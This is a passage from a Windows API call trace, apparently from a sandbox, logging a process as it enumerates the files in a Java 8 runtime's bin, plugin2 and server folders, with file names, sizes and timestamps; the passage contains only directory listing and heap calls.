ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0094.682] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="lcms.dll", cAlternateFileName="")) returned 1 [0094.682] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0094.682] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0094.683] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0094.683] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0094.683] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0094.683] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="net.dll", cAlternateFileName="")) returned 1 [0094.683] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0094.683] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0094.683] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0094.684] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0094.684] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="plugin2", cAlternateFileName="")) returned 1 [0094.684] GetProcessHeap () returned 0xc00000 [0094.684] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0094.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e90a0 [0094.685] FindNextFileW (in: hFindFile=0x37e90a0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0094.685] FindNextFileW (in: hFindFile=0x37e90a0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0094.685] FindNextFileW (in: hFindFile=0x37e90a0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0094.686] FindNextFileW (in: hFindFile=0x37e90a0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="npjp2.dll", cAlternateFileName="")) returned 0 [0094.686] FindClose (in: hFindFile=0x37e90a0 | out: hFindFile=0x37e90a0) returned 1 [0094.686] GetProcessHeap () returned 0xc00000 [0094.686] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0094.686] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0094.686] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="prism_common.dll", cAlternateFileName="PRISM_~1.DLL")) returned 1 [0094.686] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="prism_d3d.dll", cAlternateFileName="PRISM_~2.DLL")) returned 1 [0094.687] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="prism_sw.dll", cAlternateFileName="")) returned 1 [0094.687] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="resource.dll", cAlternateFileName="")) returned 1 [0094.687] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0094.688] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1 [0094.688] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="server", cAlternateFileName="")) returned 1 [0094.688] GetProcessHeap () returned 0xc00000 [0094.688] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0094.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e8fa0 [0094.689] FindNextFileW (in: hFindFile=0x37e8fa0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0094.689] FindNextFileW (in: hFindFile=0x37e8fa0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0094.689] FindNextFileW (in: hFindFile=0x37e8fa0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x866c40, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0094.689] FindNextFileW (in: hFindFile=0x37e8fa0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0094.689] FindNextFileW (in: hFindFile=0x37e8fa0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="Xusage.txt", cAlternateFileName="")) returned 0 [0094.689] FindClose (in: hFindFile=0x37e8fa0 | out: hFindFile=0x37e8fa0) returned 1 [0094.777] GetProcessHeap () returned 0xc00000 [0094.777] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0094.777] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0094.777] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1 [0094.777] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8ba40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0094.777] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0094.777] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21240, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0094.777] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7c40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1 [0094.777] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e440, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0094.778] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1 [0094.778] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13840, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0094.778] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1 [0094.778] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0094.778] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1 